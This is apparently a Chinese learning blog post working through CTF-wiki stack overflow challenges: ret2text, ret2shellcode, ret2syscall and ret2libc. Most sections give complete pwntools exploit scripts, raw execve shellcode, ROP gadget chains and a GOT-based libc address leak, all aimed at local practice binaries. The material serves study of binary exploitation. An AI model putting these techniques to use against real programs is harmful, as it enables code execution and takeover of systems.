栈溢出学习

2023-11-13

前言

跟着ctfwiki学习,所有题目都在ctfwiki上可以找到。加油加油。

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。

看一个简单的程序:

#include <stdio.h>
#include <string.h>
void success() { 
  puts("You Hava already controlled it."); 
  system("/bin/sh");
}
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

vulnerable函数里面创建了一个12字节长度的字节数组,然后调用gets函数来读取输入,然后返回。

success函数很明显就是个后门了。

使用gcc编译一下:

gcc -m32 -fno-stack-protector hello.c -o hello

其中-m32是生成32位程序,-fno-stack-protector是不开启堆栈溢出的保护(不生成canary)。

CTFwiki中还提到最好先关闭PIE。

然后调用checksec看一下:

feng@ubuntu:~/Desktop$ checksec hello
[*] '/home/feng/Desktop/hello'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
feng@ubuntu:~/Desktop$ 

没有canary和PIE,但是开启了NX保护。NX是No-eXecute(不可执行)的意思。当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

在这里插入图片描述

接着用IDA看一下vulnerable()函数:

在这里插入图片描述

所以目前栈的情况是这样:

		s
		..
		..
		..
%ebp->	%ebp      
		return address

所以s字符串离当前的栈底有20个字节的距离。

双击s也可以看出来:

在这里插入图片描述

目前距离栈底是-14h。

这时候就要用到栈溢出了。因为gets函数不检查输入字符串的长度,以回车作为判断,很容易导致栈溢出。

所以首先我们需要填入20个字节的内容来填满s到ebp之间的20字节的内容。然后就是4字节的ebp的内容(指的是函数调用的时候,将函数返回值入栈之后,还会保存目前ebp的内容,将其入栈,之前的函数调用约定讲的很清楚了)。

接下来的四字节就是函数的返回地址了,将其覆盖成success函数的地址即可。

IDA可以找到它的地址:

在这里插入图片描述

需要注意小端方式存储,所以目标地址0804846B覆盖到栈里面应该是这样(上面是低地址):

6B
84
04
08

拿pwntools编写exp即可:

from pwn import *

sh = process('./hello')

target = 0x804846B

payload = b'a'*20+b'feng'+p32(target)

sh.sendline(payload)
sh.interactive()

注意python3中byte前面要加上b,而python2的exp则不用。
在这里插入图片描述

星盟的视频中还提到了gdb的调试。

gdb hello

b main //在main函数上下断电
r      //运行
ni     //单步调试
fini   //跳出当前函数
s      //单步跟入
vmmap  //查看栈、bss段是否可以执行

pwntools也可以与gdb交互:

from pwn import *

sh = process('./hello')

target = 0x804846B

payload = b'a'*20+b'feng'+p32(target)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

基本ROP

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ret2text

ret2text其实就是控制.text段(参考之前ELF文件格式中的.text)。

CTFWIKI的例题:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

首先看一下保护:

feng@ubuntu:~/Desktop$ checksec ret2text 
[*] '/home/feng/Desktop/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位的程序,仅仅开启了NX保护。

放到IDA里面看一下,有个main函数存在栈溢出:

在这里插入图片描述

还有个secure函数存在命令执行:

在这里插入图片描述

但是前面还有个if判断,这里并不一定栈溢出控制了ret的返回地址后就一定要返回到secure函数的地址上,可以直接返回到system("/bin/sh")这行代码的地址上,同样可以执行rce。

看一下这个代码的地址:

在这里插入图片描述

是0x0804863A。接下来就是需要知道gets的输入离ret的距离了。

这里就是有个坑,IDA直接看这个可能会有问题,比如我这里直接IDA来看,发现是0x64+0x04就是ret了:
在这里插入图片描述

但实际上这种情况尽量拿gdb动调一下。

GDB看偏移

首先下断点到gets函数的位置:

在这里插入图片描述

b *0x080486AE

在这里插入图片描述

可以看到ebp的位置是0xffffd078,esp的位置是0xffffcff0

字符串s(指针的位置)在0xffffd00c。所以可以知道距离ebp的偏移为0x78-0x0c=0x6c

所以ret前面需要覆盖0x6c+0x04个字符。

编写exp:

from pwn import *

p = process("./ret2text")
target = 0x0804863A
payload = b'A'*(0x6c+4)+p32(target)
p.sendline(payload)
p.interactive()

在这里插入图片描述

利用cyclic工具

也是pwntools中的一个东西,感觉就是生成字符串和快速定位溢出点。

首先生成一串150长度的数据:

feng@ubuntu:~/Desktop$ cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
feng@ubuntu:~/Desktop$ 

然后gdb调试程序,将这串数据输入:

在这里插入图片描述

返回给出了Invalid address 0x62616164的报错,说明我们上面那串字符最后覆盖到ret addr后的结果是0x62616164,再拿cyclic计算一下偏移即可:

feng@ubuntu:~/Desktop$ cyclic -l 0x62616164
112

编写一下exp即可:

from pwn import *

p = process("./ret2text")
target = 0x0804863A
payload = b'A'*112+p32(target)
p.sendline(payload)
p.interactive()

ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

题目见ctfwiki。

首先checksec查看一下保护:

feng@ubuntu:~/Desktop$ checksec ret2shellcode
[*] '/home/feng/Desktop/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
feng@ubuntu:~/Desktop$ 

什么保护都没开,32位程序而且存在RWX的段。

IDA看一下,和上一题基本一样,只不过没有system了:

在这里插入图片描述

会有把s复制到buf2的操作,看一下buf2在.bss段:

在这里插入图片描述

利用gdb的vmmap看一下权限:

在这里插入图片描述

buf2所在的0x0804A080正好位于0x804a00 0x804b00中间,且具有RWX权限,可执行权限。

利用pwntools生成一下shellcode然后填充,注意是左填充,如果不够112长度的话拿a补齐:

from pwn import *
context(log_level="debug",arch="i386",os="linux")
p = process("./ret2shellcode")
#gdb.attach(p)
target = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a')+p32(target)
p.sendline(payload)
p.interactive()

在这里插入图片描述

题目:sniperoj-pwn100-shellcode-x86-64

先看保护:

feng@ubuntu:~/Desktop$ checksec shellcode 
[*] '/home/feng/Desktop/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
feng@ubuntu:~/Desktop$ 

64位的程序,开了PIE,存在可执行的段。

反编译:

在这里插入图片描述

存在栈溢出而且给了buf的地址。

动调一下,可以看到buf(当然也输出了)在0x7fffffffde80,rbp在0x7fffffffde90,偏移是0x10,再加上是64位的程序,ebp存储占8个字节,所以离ret addr的偏移是0x10+0x08=24个字节。

接下来就是注入shellcode了。因为read(0, buf, 0x40uLL);的长度是64个字节,所以存在两种情况,shellcode放在比retaddr高地址的地方和低地址的地方,低的话长度最多为24,高的话长度最多为64-24-8=32。

所以放下比ret addr高地址的地方更好,而且放低的话可能会因为push或者pop而受到影响(学了下面的ret2syscall之后再理解这个就更容易知道为什么了)。

编写exp的难点在于,buf的地址因为开启了PIE在不断的变化,它是在程序的输出中出现的:

printf("Do your kown what is it : [%p] ?\n", buf);

这里需要用到p.recvuntil(some_string)来取得。

翻一下源码:

    def recvuntil(self, delims, drop=False, timeout=default):
        """recvuntil(delims, drop=False, timeout=default) -> bytes

        Receive data until one of `delims` is encountered.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        arguments:
            delims(bytes,tuple): Byte-string of delimiters characters, or list of delimiter byte-strings.
            drop(bool): Drop the ending.  If :const:`True` it is removed from the end of the return value.

        Raises:
            exceptions.EOFError: The connection closed before the request could be satisfied

        Returns:
            A string containing bytes received from the socket,
            or ``''`` if a timeout occurred while waiting.

        Examples:

            >>> t = tube()
            >>> t.recv_raw = lambda n: b"Hello World!"
            >>> t.recvuntil(b' ')
            b'Hello '
            >>> _=t.clean(0)
            >>> # Matches on 'o' in 'Hello'
            >>> t.recvuntil((b' ',b'W',b'o',b'r'))
            b'Hello'
            >>> _=t.clean(0)
            >>> # Matches expressly full string
            >>> t.recvuntil(b' Wor')
            b'Hello Wor'
            >>> _=t.clean(0)
            >>> # Matches on full string, drops match
            >>> t.recvuntil(b' Wor', drop=True)
            b'Hello'

            >>> # Try with regex special characters
            >>> t = tube()
            >>> t.recv_raw = lambda n: b"Hello|World"
            >>> t.recvuntil(b'|', drop=True)
            b'Hello'

        """

就很容易理解了,为什么编写exp的时候drop要设置为True也就懂了。

exp:

from pwn import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
p = process("./shellcode")
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
p.recvuntil("[")
buf_addr = p.recvuntil("]",drop=True)
buf_addr = int(buf_addr,16)
payload = b'a'*24+ p64(buf_addr+0x20)+shellcode
p.sendline(payload)
p.interactive()

那个shellcode是从网上找到的x64下的22字节的shellcode,pwntools生成的shellcode有44字节所以不能用。从现在开始也慢慢把遇到的shellcode都收藏起来了,以后可能会用到。

ret2syscall

需要知道一下系统调用的知识。之前学操作系统的时候稍微了解过一点。

应用程序调用系统调用的过程是:

1、把系统调用的编号存入 EAX

2、把函数参数存入其它通用寄存器

3、触发 0x80 号中断(int 0x80)

在这里插入图片描述

所以我们想执行命令,可以调用execve()

根据图可以知道,execve的三个参数分别对应%ebx,%ecx,%edx,因此思路就该是,让%ebx指向"/bin/sh",然后%ecx和%edx分别设为0。还需要注意一下系统调用号,需要把%eax设置为0x0b,然后int0x80即可。

看一下ctfwiki的题目。首先看保护:

feng@ubuntu:~/Desktop$ checksec ret2syscall
[*] '/home/feng/Desktop/ret2syscall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
feng@ubuntu:~/Desktop$ 

32位,开了NX保护。

IDA反汇编看一下:

在这里插入图片描述

gets的栈溢出,首先没有后门,看一下vmmap:

在这里插入图片描述

也不可执行。利用cyclic得到相对于ret addr的偏移是112。但是似乎没法利用。

这里是一种新的姿势,利用Gadgets来调用系统调用来getshell。

需要利用ROPgadget来寻找。

首先找控制eax的gadgets,这里使用第二个:

在这里插入图片描述

再找控制ebx的:

在这里插入图片描述

选择图中的那个是因为正好可以讲edx、ecx、ebx全都控制。

然后找/bin/sh字符串:

在这里插入图片描述

再找int 0x80:
在这里插入图片描述

至此需要利用的都找到了,编写exp即可:

from pwn import *
context(log_level="debug",arch="i386",os="linux")
p = process("./ret2syscall")
pop_eax_ret = 0x080bb196
pop_ebx_ecx_edx_ret = 0x0806eb90
pop_sh = 0x080be408
pop_int80 = 0x08049421
payload = b'a'*112+p32(pop_eax_ret)+p32(0x0b)+p32(pop_ebx_ecx_edx_ret)+p32(0)+p32(0)+p32(pop_sh)+p32(pop_int80)
p.sendline(payload)
p.interactive()

第一次可能会比较难以理解这个Gadget是什么意思,我这里来理一下。

最后函数执行的是leaveretleave的作用是mov %ebp %esppop %ebp。我们在栈溢出的时候,最后会把%ebp的值给污染掉(pop %ebp后得到我们填充的字符),但是%esp的位置是存放这个ebp的位置,然后ret的作用相当于pop %eip,ret之后栈顶指向了返回地址的下面。之前我们全都是构造payload,把返回地址构造成恶意的地址就行了。但是看到上面,我们找的gadgets中用到的都是pop和ret,跳转到恶意的gadgets位置后,再pop,相当于把%esp位置的值给我们的寄存器,一系列rop后再ret,这些内容也都是我们可以覆盖的,这就是gadgets。(还不理解的话自己看着exp,把栈图给画一下然后一步一步跟进就懂了)。

在这里插入图片描述

ret2libc

libc是Linux下的ANSI C的函数库,ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。ret2libc类比之前介绍的三种方法,从字面意思看就是控制返回地址找libc中库函数存在的方法。

一般情况下,我们使用ret2libc主要针对动态链接编译的程序,程序动态链接了libc.so等动态链接库,虽然程序本身并没有用到system等危险函数,但是动态链接库中存在大量的可利用函数,就产生了新的攻击方式,从这些动态链接库中找可利用片段,拼接成恶意代码并控制rip跳转执行。

有system,有/bin/sh

最简单的情况了,首先看保护:

feng@ubuntu:~/Desktop$ checksec ret2libc1
[*] '/home/feng/Desktop/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
feng@ubuntu:~/Desktop$ 

开了NX保护。IDA反编译看看:

在这里插入图片描述

栈溢出,可以试试看rwx和Gadgets,都不行。

IDA左边可以看到有system:

在这里插入图片描述

地址是08048460

也可以利用objdump来得到:

feng@ubuntu:~/Desktop$ objdump -d -j .plt ret2libc1 |grep 'system'
08048460 <system@plt>:

再拿ROPgadgets看看有没有/bin/sh

feng@ubuntu:~/Desktop$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
feng@ubuntu:~/Desktop$ 

这样,system/bin/sh都有了,利用栈溢出来getshell即可。

不过该怎么构造呢?因为我之前基础知识过的比较快,很多东西不太懂和忘了,所以得先自己写个c来动调一下:

#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
  system("/bin/sh");
  return 0;
}

gcc -m32 -fno-stack-protector hello.c -o hello

断点下在main后看一下汇编(或者直接IDA看汇编也就懂了):

在这里插入图片描述

esp先向下移动16个字节,然后将0x80484c0(指向/bin/sh)入栈,然后通过call来调用system。我们知道,call的作用相当于先push eip,然后jmp xxx

所以实际上如果我们已知了system的位置,想要通过控制ret addr来调用的话,堆栈的结构应该控制成这样:

在这里插入图片描述

其实和之前学过的函数调用约定一样了:

  1. 在调用子程序之前, 调用者应该保存指定调用者保存 ( Caller-saved )的某些寄存器的内容. 调用者保存的寄存器是 EAX, ECX, EDX. 由于被调用的子程序可以修改这些寄存器, 所以如果调用者在子程序返回后依赖这些寄存器的值, 调用者必须将这些寄存器的值入栈, 然后就可以在子程序返回后恢复它们.
  2. 要把参数传递给子程序, 你可以在调用之前把参数入栈. 参数的入栈顺序应该是反着的, 就是最后一个参数应该最先入栈. 随着栈顶内存地址减小, 第一个参数将存储在最低的地址, 在历史上, 这种参数的反转用于允许函数传递可变数量的参数.
  3. 要调用子程序, 请使用call指令. 该指令将返回地址存到栈上, 并跳转到子程序的代码. 这个会调用子程序, 这个子程序应该遵循下面的被调用者约定.

知道了这些,构造epx即可(偏移直接拿cyclic或者gdb调一下就知道了):

from pwn import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
p = process("./ret2libc1")
bin_sh_addr = 0x08048720
system_addr = 0x08048460
payload = flat(['a'*112,system_addr,'a'*4,bin_sh_addr])
#flat模块能将pattern字符串和地址结合并且转为字节模式
p.sendline(payload)
p.interactive()

构造出来的aaaa相当于system函数的ret addr,随便弄一个就行。

在这里插入图片描述

有system,无/bin/sh

基本的思路就是想办法弄到/bin/sh了(好像是废话)

看保护:

在这里插入图片描述

IDA反汇编看看:

在这里插入图片描述

栈溢出,而且有system。ROPgadget/bin/sh发现没有。

但是发现有gets函数。所以可以想办法利用gets函数来读取我们的输入/bin/sh然后利用。

但是读到哪里是个问题,一般是读到.bss段上(存储未初始化全局变量),猜测是因为bss段一般是可读可写的。

IDA快速到.bss,按G然后跳转:

在这里插入图片描述

可以发现.bss段是从0x0804A040到0x0804A080。vmmap看一下权限,确实可读可写:

在这里插入图片描述

可以看到这里定义了一个buf2,所以就写道buf2里面:

在这里插入图片描述

(实际上我测试,写道bss段的其他地方也行。暂时不知道是不是会有什么别的问题)

至于payload的编写,稍微理一下函数调用关系就知道了:

在这里插入图片描述

编写exp:

from pwn import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
p = process("./ret2libc2")
binsh_addr = 0x0804A080
bss_addr = 0x0804A080
system_addr = 0x08048490
gets_addr = 0x08048460
payload = flat(['a'*112,gets_addr,system_addr,bss_addr,binsh_addr]) 
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

在这里插入图片描述

无system,无/bin/sh

建议先认真读完这些文章:

https://www.freebuf.com/news/182894.html

https://www.jianshu.com/p/5092d6d5caa3

所以其实got段和plt段的区别就是这个:

  • .plt 的作用简而言之就是先去 .got.plt 里面找地址,如果找的到,就去执行函数,如果是下一条指令的地址,说明没有,就会去触发链接器找到地址

  • .got.plt 显而易见用来存储地址,.got.plt 确实是 GOT 的一部分

之前我们直接利用的system的地址其实就是.plt的地址。

再来题目:

在这里插入图片描述

没有system和/bin/sh,所以只能去libc中找。通过泄露出某个函数的got表的内容,就知道了这个函数在程序中真实的地址,虽然这个地址在开了ASLR保护的情况下是随机的,但是只是针对中间位随机,最低的12位不会变化,因此可以去查libc-database来得到libc的版本,从而得到各种函数和字符串的地址。

因为延迟绑定(参考上面链接),所以必须泄露的是已经用过的函数。

题目中有puts函数可以打印,因此可以利用这个函数来泄露。

任何使用过的函数都可以用来泄露,这里泄露__libc_start_main。泄露需要重新返回程序以便于下一次攻击(因为每次程序的地址都会改变)。

重新返回不能返回main函数,而是_start函数,main () 函数是用户代码的入口,是对用户而言的;而_start ()函数是系统代码的入口,是程序真正的入口),方便再次用来执行 system(’/bin/sh’。进_start函数之后可能有一些堆栈的处理使得上一次我们栈溢出对下一次的栈溢出的影响消除掉。

编写exp:

from pwn import *
from LibcSearcher import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
p = process("./ret2libc3")
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
main = elf.symbols['_start']
libc_start_main_got = elf.got['__libc_start_main']

payload1 = flat(['a'*112,puts_plt,main,libc_start_main_got])

p.sendlineafter('Can you find it !?',payload1)
addr = (u32(p.recv(4)))
libc = LibcSearcher("__libc_start_main", addr)

base = addr - libc.dump("__libc_start_main")
system_addr = base + libc.dump("system")
binsh_addr = base + libc.dump("str_bin_sh")
payload2 = flat(['a'*112,system_addr,4*'a',binsh_addr])
p.sendline(payload2)
p.interactive()

查询到的libc版本可能有多个,一个个试即可。

在这里插入图片描述

唯一的问题就是需要联网。也可以直接自己去查:

在这里插入图片描述

听说libc的版本也是以后的一个大坑,本地的libc要尽量和远程的libc一样,等之后刷题的时候慢慢踩了hhh。

题目:train.cs.nctu.edu.tw: ret2libc

IDA反编译看看:

在这里插入图片描述

__isoc99_scanf不限制长度,存在栈溢出。binsh字符串的地址告诉我们了,puts的地址也告诉我们了,因此直接查libc的库然后打就行了,比例题还要简单:

from pwn import *
from LibcSearcher import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
p = process('./ret2libc')
p.recvuntil('"/bin/sh" is ')
binsh_addr = p.recvuntil("\n",drop=True)
binsh_addr = int(binsh_addr,16)
p.recvuntil('"puts" is ')
puts_addr = p.recvuntil("\n",drop=True)
puts_addr = int(puts_addr,16)

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
payload = flat(['a'*32,system_addr,'aaaa',binsh_addr])
p.sendline(payload)
p.interactive()


在这里插入图片描述

后记

栈溢出暂时看到这里,目前打算的是学广不学深,因为感觉很多基础的东西都没有接触过,对于整个知识体系还没有建立起来,慢慢学的东西多了,见识的多了,汇编之类的看的多了,有自己的认识了,再去看深的东西可能会更好一点吧。

所以ctfwiki剩下的中级ROP、高级ROP以及花式栈溢出之后再看了。加油加油。感觉自己的汇编也还是不太行,得慢慢多看汇编了。

参考链接

https://ctf-wiki.org/

https://www.jianshu.com/p/5092d6d5caa3

https://www.freebuf.com/news/182894.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

栈溢出学习 的相关文章

  • pwnable.tw - orw

    简单概览 与 start 不同 该程序使用动态链接 提示仅允许有限的系统调用 open read write 函数 程序运行 哪怕是输入一个字母 程序仍然会出现段错误 检查安全措施 可见栈上开了 CANARY 程序 在 IDA 中反编译可见
  • 攻防世界PWN新手练习区——cgpwn2

    攻防世界PWN新手练习区 cgpwn2 首先检查文件的有哪些保护 checksec cgpwn2 32位程序 用IDA反编译文件 main函数中只有hello函数 点击查看 整个函数看起来是在进行某种算法 但关键点在于return gets
  • adworld-pwn-level2

    必要知识点 32位系统函数调用使用堆栈传参 其调用时栈的结构如下 返回地址 gt 参数n gt 参数n 1 gt gt 参数1 将elf文件扔到IDA中 跟进到vulnerable函数 里面有输入函数 可以用来做栈溢出 再看到有system
  • 汇编语言(王爽)第四版学习1

    第一章 机器语言 0 1 简单语句 mov ax bx 汇编语言组成 1 汇编指令 机器码的助记符 有对应的机器码 2 伪指令 没有对应的机器码 由编译器执行 计算机并不执行 3 其他符号 如 等 由编译器识别 没有对应的机器码 存储器 内
  • CTFshow-pwn入门-前置基础pwn29-pwn31

    什么是PIE 由于ASLR是一种操作系统层面的技术 而二进制程序本身是不支持随机化加载的 便出现了一些绕过方法 例如ret2plt GOT劫持 地址爆破等 于是 人们于2003年引入了位置无关可执行文件 Position Independe
  • 2021第十四届全国大学生信息安全竞赛WP(CISCN)-- pwn部分

    CISCN 2021 WP 概述 ciscn 2021 lonelywolf ciscn 2021 pwny 第一种利用方式 第二种利用方式 ciscn 2021 silverwolf ciscn 2021 game 总结 概述 作为学习不
  • funcanary[CISCN2023初赛]-爆破canary+pie

    funcanary 一 保护检查 二 IDA分析 三 exp编写 四 exp 一 保护检查 先检查文件的保护以及文件的类型 保护全开 64位程序 通过题目大概也知道想考察的内容是canary保护绕过或者canary泄露 二 IDA分析 首当
  • 攻防世界 pwn forgot

    下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程 这个题目现在还是有些疑惑的 首先我们看一下题目的安全机制 然后IDA看一下主函数 int cdecl main size t v0 ebx char v2 32 esp 1
  • PWN学习-ADworld刷题

    前言 搁置了一段时间没更博 经历了考试还有一些其他事 决心好好去学pwn 学习的方法打算是按照看视频课加刷题加查找资料来学习 先把新手题都刷了一遍 都是很入门的题目 没啥好提的 收获也少 然后去刷进阶的题 但是目前还没有遇到堆的题目 视频课
  • 栈溢出原理

    栈溢出原理 文章目录 栈溢出原理 前言 栈 一 栈溢出原理 二 栈保护技术 三 常发生栈溢出的危险函数 四 可利用的栈溢出覆盖位置 总结 前言 栈 栈是一种LIFO的数据结构 应用程序有一到多个用户态栈 栈自底向上增长 由指令PUSH和PO
  • xman 厦门邀请赛 pwn1 babystack writeup

    题目描述 这个题目针对现在的我还是有点难度的 花费了我三天的时间 最后发现原因竟是因为字符转化为整型的过程中多加了好多0 分析思路 1 首先查看文件的详细信息 tucker ubuntu xman pwn pwn1 file babysta
  • [OGeek2019]babyrop

    OGeek2019 babyrop 查看程序的保护机制 发现是got表不可写的32位程序 拖进ida查看伪代码 sub 80486BB是初始化缓存区的函数 发现buf是一个随机数 发现函数中存在strncmp比较函数 其中buf为用户输入的
  • 格式化字符串学习

    常见的格式化字符串函数 输出 函数 基本介绍 printf 输出到 stdout fprintf 输出到指定 FILE 流 vprintf 根据参数列表格式化输出到 stdout vfprintf 根据参数列表格式化输出到指定 FILE 流
  • 二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two

    前言 Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了 这里是文章链接 https blog csdn net qq 45894840 article details 129490504 spm 1001 2014
  • bukku ctf(刷题2)

    bugku ctf 抄错的字符 简单取证1 这是一张单纯的图片 计算器 GET POST 矛盾 alert 你必须让他停下 signin Easy Re 游戏过关 Easy vb 树木的小秘密 Timer 阿里CTF 抄错的字符 Crypt
  • 第 46 届世界技能大赛浙江省选拔赛“网络安全“项目C模块任务书

    第46届世界技能大赛浙江省选拔赛 网络安全 项目C模块 夺旗行动 CTF 挑战 第46届世界技能大赛浙江省选拔赛 网络安全 项目C模块 第一部分 WEB 第二部分 CRYPTO 第三部分 REVERSE 第四部分 MISC 第五部分 PWN
  • 用gdb.attach()在gdb下断点但没停下的情况及解决办法

    在python中 如果导入了pwntools 就可以使用里面的gdb attach io 的命令来下断点 但是这一次鼠鼠遇到了一个情况就是下了断点 但是仍然无法在断点处开始运行 奇奇怪怪 这是我的攻击脚本 我们运行一下 可以看到其实已经运行
  • pwnable.tw - start

    首先安装 pwntools 在执行pip install upgrade pwntools时出错 cannot import name main 要修改 usr bin pip from pip import main 为 from pip
  • 攻防世界 pwn cgfsb writeup

    攻防世界pwn cgfsb 这一题是关于格式化字符串漏洞的题 是一个单一漏洞题 不需要太多的绕过 拿到题目首先查看一下保护 可以看到 这是一个32位的程序 并且开启了Canary保护和NX保护 我们看一下IDA 进入IDA 按下F5可以得到
  • 2.[BUU]rip

    1 检查文件 checksec 一下 查看之后发现是64位 直接放入IDA64进行反编译 2 IDA反编译 进行分析 发现是gets 函数可以造成栈溢出 从而可以覆盖栈上的内容 想法 通过gets函数 栈溢出 来篡改栈上的内容指令 从而达到

随机推荐

  • 数据分析36计(17):Uber的 A/B 实验平台搭建

    往期系列原创文章集锦 数据分析36计 16 和 A B 测试同等重要的观察性研究 群组研究 VS 病例 对照方法 数据分析36计 15 这个序贯检验方法让 A B 实验节约一半样本量 数据分析36计 14 A B测试中的10个陷阱 一不注意
  • C语言基础(底层、运算符)

    一 C语言底层 程序 算法 数据 1 整型 字符类型 字符常量 a 一个字符 字符串常量 abcd 多个字符 字符变量 1 定义字符 有无符号 类型 变量 2 引用变量 引用变量的内容 2 浮点型 1 浮点型常量 十进制 3 14 科学表示
  • Aix上的压缩与解压

    1 compress生成一个后缀为 Z的压缩文件 可用compress d或者uncompress解压后缀为 Z的文件 若压缩的文件是文本文件 可用zcat直接查看压缩文件 不需要先解压 再用cat 2 gzip生成一个后缀为 gz的压缩文
  • python backtrace注意事项

    1 当python异常时 web服务器一般会记录异常日志 比如uwsgi 如果用python自带的web server 那么启动时要把输出重定向一下 2 有时要把异常backtrace与普通日志记录在一起 可以在logging xxx 函数
  • js浮点数计算精度问题

    js语言在进行数字计算时会发生计算精度失真的情况 因为javascript使用了IEEE 745浮点数表示法 在运算是会将浮点数转换为二进制数字计算 例如 0 1 gt 0 0001100110011001 无限 0 2 gt 0 0011
  • 【干货】今日头条的新闻推荐算法原理

    信息越来越海量 用户获取信息越来越茫然 而推荐算法则能有助于更好的匹配海量内容和用户需求 使之更加的 有的放矢 为让产业各方更好的了解算法分发的相关技术和原理 我们特整理了当下最具影响力的平台的相关干货 和各方分享 本期微信 我们将推荐影视
  • pip安装pytorch 清华镜像

    每次要搭配环境的时候就头大 资源基本是国外 下载起来特别慢 有些连服务器都访问不了 不用镜像 按照书上或者网上的正常流程搭配环境 基本上都是以超时告终 然后就在网上疯狂找资源 网上有人说是个程序员都会翻墙 我可能是个假的程序员吧 什么都不会
  • Arthas watch命令使用

    目录 属性遍历深度 1 watch 类全限定名 方法名 遍历深度为1的入参 对象 返回信息 2 watch 类全限定名 方法名 x n 观察遍历深度为n的入参 对象 返回信息 观察事件点 1 watch 类全限定名 方法名 params x
  • Python爬虫从入门到精通:(39)增量式爬虫_Python涛哥

    概念 检测网络数据更新的情况 以便于爬取到最新更新出来的数据 实现核心 去重 实战中去重的方式 记录表 记录表需要记录什么 记录的一定是爬取过的相关信息 例如某电影网 爬取过的相关信息 每一部电影详情页的url 只需要使用某一组数据 该组数
  • 一个产品的商业目标应该从哪些方面制定?

    产品面向社区治理相关服务 比如信息发布 事件调解 活动发布 数据统计等等 但感觉缺少合理的商业策略和商务模式 文心一言 一个产品的商业目标应该从以下几个方面制定 市场定位 确定你的产品的目标客户是谁 这可以是你的社区治理服务所面向的人群 也
  • 【数学公式】Mathpix和MathType等等

    MathML MathML指 数学标记语言 是XML语言的一个子集 用来在web网页 甚至部分软件中显示数学公式 简言之 就是使用特殊的类似HTML的标记在网页中显示数学公式 MathType公式编辑器 MathType是一个强大的数学公式
  • JSP的原理

    Tomcat的lib目录下的jasper jar包 这个包里面有一个HttpJspBase类 这个类我们看一下源码 Source code recreated from a class file by IntelliJ IDEA power
  • CC++ 标头和源文件:它们如何工作?

    本文将向您展示将程序划分为C中的组件部分或正确使用标头和源文件C 诀窍 介绍 我主要是为我的一个朋友写这篇文章的 但是 如果我不与大家分享这一点 我会对社区造成伤害 所以就在这里 我们将探索标头和源文件以及它们的作用 这些代码的大部分在 C
  • SSH框架简介篇

    文章目录 概述 目录结构 struts Spring Hibernate 总结 概述 SSH框架 Struts Spring Hibernate 是一种广泛应用的Java企业级开发框架组合 它将Struts Spring和Hibernate
  • LVM原理及配置

    1 简介 1 1 什么是LVM LVM是 Logical Volume Manager 逻辑卷管理 的简写 它由Heinz Mauelshagen在Linux 2 4内核上实现 目前最新版本为 稳定版1 0 5 开发版 1 1 0 rc2
  • 中国天气网接口

